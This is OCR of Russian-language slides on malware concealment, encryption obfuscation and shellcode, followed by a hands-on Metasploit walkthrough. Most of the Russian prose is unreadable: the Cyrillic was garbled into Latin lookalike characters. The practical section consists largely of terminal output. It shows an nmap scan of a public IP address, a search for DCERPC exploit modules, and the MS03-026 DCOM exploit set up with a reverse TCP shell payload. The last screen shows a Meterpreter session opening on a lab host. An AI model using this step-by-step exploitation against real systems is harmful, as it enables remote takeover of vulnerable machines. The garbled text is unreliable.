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DATA ENCODING, UJTN LULUPPOBAHUE KAK
MCKYCCTBO

[na cKpbITUA NPUCYTCTBUS BUPYCa B CUCTEME NPUMEHSIOTCA pasfindHbie TEXHUKN N METOAbI, K
npumMepy ncnonb3oBaHue rootkits nnu bootkits.

Rootkits- Habop O ckpbiBatoLmx NpUCyTCTBME 3anyLleHHOro malware-koaa B LIENeBOW CUCTEME.

Bootkits- YHUKanNbHbIM METOA, peanu3auumn pyTKUTOB — MOANMUKaLMIO 3arpy3o4Hom 3anmcn MBR
N 3arpy3Ky pyTkuTa Ao ctapTa siapa onepauyuoHHOM CUCTEMBI.

3afaya- yCrnoXHUTb BUPYCHOMY aHanMTUKy aHanna obpasua mansaps, Korga OH yXe nonan B
aHTUBUPYCHYIO NabopaToputo. ATO NO3BOSIAET OTTAHYTb BPEMS [0 TOro, Kak CUrHaTypy marnsaps
000aBAT B aHTMBUPYCHbIE Basbl.

OauH n3 BapnaHToB — LWNdpoBaHMe COOCTBEHHOIO Koga Marnsapu, HasbiBaeMoe obdyckaumnen



AJITOPUTMbI LLW®POBAHUA

KoanpoBaHue onsa otaenbHbIX 6antosB 6noka ¢ nomMoLbio doyHKuuin ADD rn SUB.

ROR- 1 ROL-MHCTPYKLUKX NO3BONSAIOT NepeBePHYTb HECKONbKO OUTOB B OaliTe cnpaBa Unu creea.
OHM JOMKHbI UCNONb30BaTbCA BMECTE, MOCKOITbKY OHM HEOOPATUMbI, TO ECTb BbINOMHAKTCS
TONbKO B OfHY CTOPOHY.

ROT — 370 opurnHanbHbIn Windp Liesaps. OBbIYHO ncnonb3yeTcs naTuHCKnin andasuT (A-Z u
a—z), Ha4nHas c nobdown OyKkBbI, NN 94 NeYaTHbIX CMMBOMA B CTaHAAPTHOW KOANPOBKE CUMBOIIOB
ASCII.

MHorobanToBble NpeobpasoBaHNs 3aKOYaTCA B TOM, YTO 3aMEHSETCS HE OAMH BanT, AaHHbIN
anropuTM rno3BondeT NCnosib3oBaTh OOMbLUIE KMHOYEBBLIX 3HAYEHUN (K TpUMepy, YacTo bepyTcs
LEernoYvkn 4 unm 8 6anTt AnnMHON).



BHepnpeHue Shell-code.Teopus

« LWenn-koa- 4actb Koaa, BCTPOEHHOIO B MalriBapb 1 NO3BOJIAOLLIErO rnocrie VIHCbI/ILI,I/IpOBaHVIFl
CUCTEMBbI XXEePTBbl NOJNMYHYNUTb OAO0CTYIM K KoMaHgHoM oborno4ke.

» 3ayem BCe 3TO HY>XHO? Maro NMPOCToO MHPULMPOBATbL CUCTEMY, NMPOJKCMTyaTUpoBaTb
YA3BMMOCTb UMW NONOXUTb KaKyto-HNOYAb CUCTEMHYIO CNYX0yY. Bce 3T AeNCTBMNA YEPHbIX U
CepbIX LWAn(XakepoB) BO MHOMUX Criydasx HaueneHbl Ha nonyyYyeHne agMMHCKOro 4oCcTyna K
3apaxeHHoW MallmHe. Tak YTo ManBapb — 3TO BCEro ML CNOCO0 nNonacTb Ha MaLUMHY U
nony4uTb shell, To ecTb ynpasneHune. A 3T0 y>Xe NPAMOKN Ny Tb K CNUBY KOHUAEHUMANBHON
NHdopMaLnmn, co3gaHmnio DOTHET-CETEN, NpeBpaLLaloLLINX LIENIEBYO CUCTEMY B 30MOU, UK
NPOCTO BbINOMHEHUIO NHbIX AECTPYKTUBHbLIX OYHKL MW Ha B3rTIOMaHHOM MaLUUHE.

» Lllenn-kog BHeOpsieTcs B NnaMATb NporpamMmMbl, NOCIie Yero Ha Hero rnepeaaeTcsd yrnpasneHune npu
MOMOLLIM UCMOSTb30BaHUS MPOrpaMMHbIX OLLMOOK, TaKMX Kak NeperosiHeHNe cteka nnm
nepenosiHeHne bydepa B Kyde, nnmn ncnonb3oBaHns atak opmMaTHOM CTPOKU. YnpaBneHue
LLenn-Koay nepenaercd nepesanncbio agpeca Bo3BpaTa B CTEKe aApeCcoOM BHeAPEHHOro Lwersi-
Ko4a, nepesanncbio agpecoB Bbl3biBaeMbIX OYHKUNW UK U3MEHeHNneM 00paboTyYMKOB
npepbiBaHNN. Pe3ynsTtaTtoM BCEro 3Toro 1 byaet BbINOMHEHNE WeNS-Koaa, KOTOPbI OTKPLIBAET
KOMaHHYI CTPOKY A8 UCNONb30BaHNSA B3ITOMLLNKOM.



 [lpu skcnnyaTaumm yaaneHHomn ysa3BMMOCTH (exploit) LWenn-kog MOXeT OTKPbIBaTb Ha YA3BUMOM
KOMMbIOTEPE 3apaHee 3adaHHbIN NopT TCP And AanbHENLero yaaneHHoro 4ocTyna K KoMaHgHowm
obonoyke. Takon ko Ha3bIBaAETCA Mpues3biearowuM K nopmy. Ecnv xe wenn-koa
NOAKITHOYAETCA K MOPTY KOMMNbIOTEPA aTaKyHoLLEro (¢ uenbto obxoga 6paHamayapa nnm
npocaynBaHus Yepes NAT), TO Takon Kof Ha3bliBaeTcsi o6pamHol 060s104KoU.(NAT-3TO
MexaHu3M B ceTsax TCP/IP, no3BonawoLWwmin Npeobpas3oBbiBaTh IP-agpeca TPaH3UTHbIX NaKeToB)

. CyuwecTByIOT ABa cnoco6a 3anycka wens-Kkoga B namMsiTb Ha UCMOJTHEHMe:

* Mertog position-independent code (PIC) — 3TO KOA, KOTOPbIW UCMONb3YET XECTKYH NMPUBA3KY
BuHapHOro Kkofa K onpegeneHHoMy agpecy unun gaHHoiM. Lensn-kog — ato no cytv PIC. [Noyemy
npuBa3Ka Tak BaxkHa? LLlenn He MOXeT 3HaTb, B KAKOM MMEHHO MeCTe ornepaTtuBHON NaMATU
Bynet pacnonaratbCs, MOCKOSbKY BO BPEMS BbINOSTHEHUS pa3fUyHbIX BEPCUN
CKOMMPOMETUPOBAHHOW NpOorpamMmMbl UnNn Mansapu OHWU MOTYT 3arpy3unThb LLUEN-Koa B pasHble
AYENKN NaMATN.,

* Mertop Identifying Execution Location 3aKkno4yaeTcs B TOM, YTO LLENN-KOA AOMKEH pa3biIMeHOBaTb
©a30BbIN yKasaTenb Npun 4OCTyne K AaHHbIM B MO3ULIMOHHO HE3ABUCUMOW CTPYKTYpPE NamMsTHu.



OBHAPYXEHMUE LUENN-KOOA HA B3IOMAHHOW
MALUUHE

« Xakepsbl, gopoxalime cBoen cBobogon n penyTtaunen, NMWYyT Wenn-koabl, UCNOMNb3yst TEXHUKN,
CKpblBaloLLMe nx ataky. Tak, Tunn4Hasi cuctema obHapyXeHnsa BTOPXKEHUW (aHr. IDS) 06bI4HO
npocMaTpuBaeT BECb BXOASALLMN CeTeBOU TPadomK B MOMCKaxX CTPYKTYpbl, cneundunyHom ans
Wwenn-koga. Ecnu IDS HaxoQuT Takyko CTPYKTYPY, TO NAKeT, CoaepKallum aTy curHartypy,
YHUYTOXaeTCH 40 TOro, Kak OH eLle AOCTUrHeT cBoen Lenun. OgHako cnabdasa nosnumsa IDS cocTonT
B ZJaHHOM CIly4Yae B TOM, YTO ecnn Tpadomk 3aKoaMpoBaH, TO pacno3HaTb ero He yaacTcA.




[lpaKTUKa:

Ona wenn-koguHra mbl 0yaem ncnosb3oBaThb:
1. MetaSploit Framework
2. Nmap scanner

3. OS: Linux(B Hawem cny4ae Kali Linux)



Kak BbIrnaauT MetaSploit Framework
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= O6onouxa N° 1

®aitn [eicteua [lMpaBka Bupg Cnpaska
already initialized constant HrrRbSsh:: Transport :: ServerHostKeyAlgorithm:: EcdsaSha2Nistp256 :: PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning:

previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning:

already initialized constant HrrRbSsh:: Transport :: ServerHostKeyAlgorithm:: EcdsaSha2Nistp256 :: IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning:

previous definition of IDENTIFIER was here

=[ metasploit v6.2.9-dev ]
+ — —=[ 2230 exploits - 1177 auxiliary - 398 post ]
+ — ——=[ 867 payloads - 45 encoders - 11 nops ]
+ — —=[ 9 evasion ]

Metasploit tip: View advanced module options with

msf6 > |




Kak BbirnaautT NMAP scaner:

>
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= ilya@kali: ~
®aitn  [eicteua [lpaska Bupo Cnpaska

-——spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
-——badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
-oN/-0X/-0S/-0G <file>: Output scan in normal, XML, sl<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-0A <basename>: Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
-—reason: Display the reason a port is in a particular state
—open: Only show open (or possibly open) ports
—packet-trace: Show all packets sent and received
—iflist: Print host interfaces and routes (for debugging)
-—append-output: Append to rather than clobber specified output files
-—resume <filename>: Resume an aborted scan
-——noninteractive: Disable runtime interactions via keyboard
—stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
—webxml: Reference stylesheet from Nmap.Org for more portable XML
—no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enable OS detection, version detection, script scanning, and traceroute
-——datadir <dirname>: Specify custom Nmap data file location
—send-eth/-—send-ip: Send using raw ethernet frames or IP packets
—privileged: Assume that the user is fully privileged
—unprivileged: Assume the user lacks raw socket privileges
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

—— )=~
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MPAKTUKA: 1.CkaHnpyeM nopThbl C nOMOLLbI0 NMAP
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Obonouka N° 1

®ain  [eicteua [lMpaBka Bupg Cnpaska

msf6 > nmap 31.10.13.224
exec: nmap 31.10.13.224

Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-15 15:15 MSK
Nmap scan report for 31.10.13.224
Host is up (0.030s latency).

Not shown: 795 filtered tcp ports (no-response)
PORT STATE SERVICE

9/tcp open discard

17/tcp open qotd

20/tcp open ftp-data

22/tcp open ssh

25/tcp open smtp

26/tcp open rsftp

33/tcp open dsp

53/tcp open domain

70/tcp open gopher

80/tcp open http

81/tcp open hosts2-ns

82/tcp open xfer

83/tcp open mit-ml-dev
84/tcp open ctf

90/tcp open dnsix

99/tcp open metagram

110/tcp open pop3

111/tcp open rpcbind

113/tcp open ident

143/tcp open imap

179/tcp open bgp

199/tcp open smux

212/tcp open anet

256/tcp open fwl-secureremote
416/tcp open silverplatter
425/tcp open icad-el



2.Mwem oTkpbITble MOpThl B 6a3e MetaSploit (paHr akcnn
Ba>XKEH)+BaXKHO M3y4nTb TpeboBaHWA akcnnonTta, onvca
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®ain [eicteua [lpaBka Buag Cnpaska

Interact with a module by name or index.

For example info 89,

msf6 > search dcerpc

Matching Modules

" Name

0 exploit/windows/scada/advantech_webaccess_webvrpcs_bof
w

1 exploit/windows/brightstor/tape_engine_0x8a

2 exploit/windows/brightstor/tape_engine

3  auxiliary/scanner/d€erpe/tcp_d€erpe_auditor

4  auxiliary/scanner/deerpe/dfscoerce

5 auxiliary/scanner/deerpe/endpoint_mapper

6 auxiliary/scanner/deerpe/hidden

7 exploit/windows/@€erpe/ms03_026_dcom

8 exploit/windows/smb/ms@4_011_lsass
]

9 exploit/windows/dEErpPE/ms05_017_msmq

10 exploit/windows/dcerpe/ms07_029_msdns_zonename

11 exploit/windows/deerpe/ms07_065_msmq

12 exploit/windows/smb/ms@8_067_netapi

13 auxiliary/gather/windows_deployment_services_shares

14 auxiliary/scanner/@€erpe/windows_deployment_services

15 exploit/windows/smb/smb_rras_erraticgopher

16 auxiliary/admin/@d€erpe/cve_2020_1472_zerologon

17 auxiliary/scanner/decerpé/petitpotam

18 exploit/windows/ﬂcétpt/cve_z021_1675_printnightmare

19 auxiliary/scanner/deerpg/management

20 auxiliary/admin/d€erpe/samr_computer

21 auxiliary/scanner/smb/smb_enumusers_domain

22 auxiliary/scanner/smb/pipe_@€erpe_auditor

Obonouka N° 1
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Disclosure Date Rank
s e e e good
2010-10-04 average
2006-11-21 average
normal
normal
normal
normal
2003-07-16 great
2004-04-13 good
2005-04-12 good
2007-04-12 great
2007-12-11 good
2008-10-28 great
normal
normal
2017-06-13 average
normal
normal
2021-06-08 normal
normal
normal
normal
normal

a o15:28|a G

dows /x64 inject/reverse_tcp
Check Description
No Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflo
No CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow
No CA BrightStor ARCserve Tape Engine Buffer Overflow
No DCERPE TCP Service Auditor
No DFSCoerce
No Endpoint Mapper Service Discovery
No Hidden DEERPE Service Discovery
Yes MS03-026 Microsoft RPC DCOM Interface Overflow
No MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflo
No MS05-017 Microsoft Message Queueing Service Path Overflow
[] MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)
No MS@7-065 Microsoft Message Queueing Service DNS Name Path Overflow
Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
No Microsoft Windows Deployment Services Unattend Gatherer
No Microsoft Windows Deployment Services Unattend Retrieval
Yes Microsoft Windows RRAS Service MIBEntryGet Overflow
Yes Netlogon Weak Cryptographic Authentication
No PetitPotam
Yes Print Spooler Remote DLL Injection
No Remote Management Interface Discovery
No SAMR Computer Management
No SMB Domain User Enumeration
No SMB Session Pipe DEERPE Auditor



BE@pori-| 23 4|60
r O6onouxa N° 1

®aitn  [Levicteua [lpaska Bua Cnpaska

Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services

msf6 > use exploit/windows/dcerpc/ms@3_026_dcom
*#] Using conflgured payload windows/shell/reverse_tcp
sf6 exploit( ns/dce me0s 026 deom) > show options

Module options (exploit/windows/dcerpc/ms@3_026_dcom):

Name Current Setting Required Description
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 135 yes The target port (TCP)

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

® Windows NT SP3-6a/2000/XP/2003 Universal

msf6 exploit(. ws/dcerpc/ms03_026_dcom) > set LHOST 31.10.13.224
LHOST = 31.10. 13 224
msf6 exploit(windows/dcerpc/ms03_026_dcom) > |}
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-] Obonouxa N° 1
®daiin [eicreua [paBka Bupg Cnpaska
msf6 exploit( ) > set LHOST 31.10.13.224
LHOST = 31.10.13.224
msf6 exploit( ) > show payloads
Compatible Payloads

# Name Disclosure Date Rank Check Description

0 payload/generic/custom normal No Custom Payload

1 payload/generic/debug_trap normal No Generic x86 Debug Trap

2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline

3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline

4 payload/generic/ssh/interact normal No Interact with Established SSH Connection

5 payload/generic/tight_loop normal No Generic x86 Tight Loop

6 payload/windows/adduser normal No Windows Execute net user /ADD

7 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

8 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager

9 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)

10 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (
Windows x86)

11 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager

12 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)

13 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)

14 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, M
etasm)

15 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windo
ws x86)

16 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager

17 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)

18 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy

19 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)

20 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)

23 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win




5.[pumeHsem PaylLoad (B HalLeM crny4ae-
meterpreter)+MeHAEM B KOHQUIe flokanbHbIN ip
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Obonouka N° 1

®aiin [encteusa [paBka Bupg Cnpaska

msf6 exploit( ) > set RHOST 31.10.13.224
Unknown datastore option: RHOST. Did you mean LHOST?

msf6 exploit( ) > set RHOSTS 31.10.13.224

RHOSTS = 31.10.13.224

msf6 exploit( ) > set LHOST 192.168.42.128

LHOST = 192.168.42.128

msf6 exploit( ) > show options

Module options (exploit/windows/dcerpc/ms@3_026_dcom):

Name Current Setting Required Description
RHOSTS 31.10.13.224 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 135 yes The target port (TCP)

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.42.128 yes The listen address (an interface may be specified)

LPORT LiL4 = The listen port

Exploit target:

Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

msf6 exploit( ) > |
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File Edit View Terminal Help ~ a-

msf exploit(ms@3 026 dcom) > exploit

[*] Started reversgghandler on 192.168. 128 44 | f

[*] Tr 1ng target NT=SP3- 624200 993 nlve% e o
[*] din 4d9f4abg8-7d1c- f?cf 6le- 6e7d§7 0.0@ncacn ip tcp: 1§§ 168 324{59[135] ‘”L“l
[*] Bound ‘to 4d9f4ab8 7d1c<11cf-861le- 0026af6e7c57 0.0@ncacn ip tcp: 192.168.42. 129[135] . '° -
[*] Sending exploit ... ’%1/
[*] Sending stage (749056 bytes) to 192.168.42.129 ‘\]

[*] Meterpreter session 1 opened (192.168.42.128:4444 -> 192.168.42.129:1033) at 2011-06-21 ©0:39:50 +0530

. meterpreter >

: TaKI/IM o6pa30M Mbl yCI'IeLLIHO I/lCI'IO.l'Ib3OBaJ'II/I Metasﬁ‘l 'I/IMBOpK ,EI,.I'IFl noJiyydeHna nocrtyna K y,u,aneHHomy di[i::py '
3a|'|yIJJ,eHHbIM Ha HEM WlndOWS 2003 Server. Mbl I'Ipe,EI,OCTa I/IJ"Il/I cebe BO3MOXXHOCTb BbINOMHATbL KOMaHab! B KOM
O6O!19‘1IK€ YTO Aa€ET HaM npaBo MOJTHOCTbIO KOHTpO.I'IVIpOBaTb yp,aneHHyro MaLllnHY 1 3alyCKaTb nobble 3agaym Ha He\}/t
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